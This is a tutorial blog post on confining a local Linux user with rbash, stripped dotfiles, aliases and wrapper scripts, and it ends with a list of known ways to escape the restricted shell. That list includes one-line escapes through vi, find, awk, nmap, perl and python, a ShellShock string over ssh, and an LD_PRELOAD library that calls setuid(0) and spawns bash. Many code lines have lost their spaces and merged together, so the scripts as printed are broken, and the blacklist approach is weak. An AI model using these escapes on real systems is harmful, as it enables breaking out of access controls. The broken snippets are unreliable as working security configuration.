Limiting local user rights in Linux to the minimum

КотикOnce the next task appeared: to create a local user in the Linux OS, with limited access to folders and files, including not only editing, but also viewing, as well as the ability to use only authorized utilities. Only local access is provided, there is no network access.

In order not to reinvent the wheel, first of all I began to dig the Internet, as a result of which the following options were found:

  • access restrictions via ssh, sftp network services (did not work)
  • differentiation of access rights by the linux operating system itself (it didn’t fit, I would like a universal solution)
  • use chroot (did not fit)
  • the use of third-party utilities, such as SELinux (did not fit, complicates the system).

As a result of the search, a built-in mechanism to restrict the user's capabilities inside the bash shell was found, it is called Restricted Shell or rbash .

It has the following limitations:

  • there is no possibility of changing the directory with the cd command
  • cannot reset or change the values ​​of the variables SHELL, PATH, ENV, BASH_ENV
  • forbidden to specify commands containing / (slash)
  • it is forbidden to import functions from the main shell
  • It is forbidden to redirect output using the operators>, <, |, <>,> &, &>, >>
  • It is forbidden to use the exec command to substitute the command, etc.

There is a minus, this is security, so it is imperative to add alias to commands in the .bashrc shell behavior file (information will be further).

Of course, rbash is out of the box, it does not solve all the problems, therefore, using an example, consider creating a user and setting up his environment to complete our task.

Further, all operations are performed from the superuser (root).

1. Create a limited shell

echo'/bin/bash -r' > /bin/zbash
chmod +x /bin/zbash

2. Create a user

adduser --home /home/zuser --shell /bin/zbash zuser

3. Change directory rights

chown root.zuser /home/zuser
chmod 750 /home/zuser

4. Go to the directory and clear it.

cd ~zuser
ls -a
rm .bash*
rm .profile
ls -a

5. Configure the shell and rights

echo"PATH=:/home/zuser/bin" > .bashrc
echo"alias help='echo access is limited'" >> .bashrc       # alias на команду helpecho"bind 'set disable-completion on'" >> .bashrc          # Отключает автодополнение на tab
mkdir -p bin
chmod 750 bin
chown -R root.zuser /home/zuser
chmod 640 .bash*

The .bashrc file defines the behavior of the shell, alias for commands or additional options can be added to this file .

To ensure security, issue the following commands:

echo"alias echo=':'" >> .bashrc
echo"alias cat=':'" >> .bashrc
echo"alias bash=':'" >> .bashrc
echo"alias sh=':'" >> .bashrc
echo"alias ln=':'" >> .bashrc
echo"alias set=':'" >> .bashrc
echo"alias uset=':'" >> .bashrc
echo"alias export=':'" >> .bashrc
echo"alias typeset=':'" >> .bashrc
echo"alias declare=':'" >> .bashrc
echo"alias alias=':'" >> .bashrc
echo"alias unalias=':'" >> .bashrc

This list can be continued ...

6. We check the work

root@host: su zuser
zuser@host: help
            access is limited
zuser@host: pwd
            /home/zuser
zuser@host: ls /tmp/
            bash: ls: команда не найдена
zuser@host: /bin/ls
            bash: /bin/ls: ограниченный режим в команде нельзя использовать косую черту {/}
zuser@host: echo$PATH
            :/home/zuser/bin
zuser@host: PATH=/bin/
            bash: PATH: переменная только для чтения
zuser@host: exit

7. Add valid commands

ln -s /bin/ping /home/zuser/bin/ping

Importantly, the paths in the ln command must be specified completely.

8. Wrappers can be used to limit the command options.

mkdir /var/scripts
echo"/usr/sbin/useradd -D" > /var/scripts/user-info
chmod +x /var/scripts/user-info
ln -s /var/scripts/user-info /home/zuser/bin/user-info

9. To work with files and folders, you can also create a wrapper
with a black list (allow everything except):
- create a file

nano /var/scripts/ls

- file contents

blacklist="\? ../ /etc /bin /boot /var"for var in$blacklistdoif [[ $* == *$var* ]]; thenecho'Access is denied:' $*
        exitfidone
/bin/ls $* 

blacklist - a variable containing a blacklist of directories or files (
separated by a space) - add a command for the user zuser

chmod +x /var/scripts/ls
ln -s /var/scripts/ls /home/zuser/bin/ls

This script allows you to run the ls command with any keys for directories and files that do not match the black list

with the white list (deny everything except):
- create the file

nano /var/scripts/cat

- file contents

whitelist="./ /tmp/"# белый списокfor var in$whitelistdoif [[ $* == *$var* ]]; then
        /bin/cat $*      # запуск утилиты cat с заданными параметрамиexitfidoneecho'Access is denied:' $*

whitelist - a variable containing a white list of directories or files (
separated by a space) - add a command for the user zuser

chmod +x /var/scripts/cat
ln -s /var/scripts/cat /home/zuser/bin/cat

This script allows you to execute the cat command with the specified files in the white list

Done , as a result received the following result:

  • we created user zuser with rbash shell
  • disabled the ability to use autocompletion in the console
  • zuser can only run utilities from the / home / zuser / bin directory
  • added ping command to zuser
  • added own user-info command to user zuser
  • the zuser user has been limited to running the ls and cat commands through the wrapper


This method unfortunately does not guarantee 100% security, and with certain knowledge and qualifications, the user can leave this shell. Thanks Jouretz arheops YaDr they in the comments gave examples of circumventing the limitations of the shell.

The following vulnerabilities exist in this solution (Shell Escape), which must be taken into account:
PATHThe ability to change the variable PATH
Copying files by scpAbility to upload your script
When connecting via ssh, you can change the shell
ssh zuser@x.x.x.x -t "/bin/bash"
When connecting via ssh, you can change the shell configuration file
ssh zuser@x.x.x.x -t "bash --noprofile"
When connecting via ssh, you can use ShellShock
ssh zuser@x.x.x.x -t "() { :; }; /bin/bash"
Through utilities vi, vim
:!bash
Through utilities vi, vim
:set shell=/bin/bash
:shell
Through utilities man, more, less
!bash
Through the find utility
find . -maxdepth 0 -execdir /bin/bash \;
Through the awk utility
awk 'BEGIN {system("/bin/bash")}'
Through the nmap utility
nmap --interactive
Through the nmap utility
echo"os.execute('/bin/sh')" > exploit.nse
nmap --script=exploit.nse
Via perl
perl -e 'exec "/bin/bash";'
Via python
python -c 'import pty; pty.spawn("/bin/bash")'
Via ruby
ruby: exec"/bin/bash"
Through LD_PRELOADCreate an evil.c file:
#include<stdio.h>#include<unistd.h>#include<sys/types.h>#include<stdlib.h>void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo work");
    system("/bin/bash --noprofile");
}

Compile:
gcc -fPIC -shared -o evil.so evil.c -nostartfiles

We transfer the resulting evil.so file to the machine with the closed console and execute:
LD_PRELOAD=$PWD/evil.so ls

As an argument, any available command

Due to the presence of a sufficiently large number of vulnerabilities, this method can only be used for a local user on non-critical systems; it is better to use chroot or other utilization restrictions for users to access the network via ssh.

I hope this information will be useful.

Also popular now: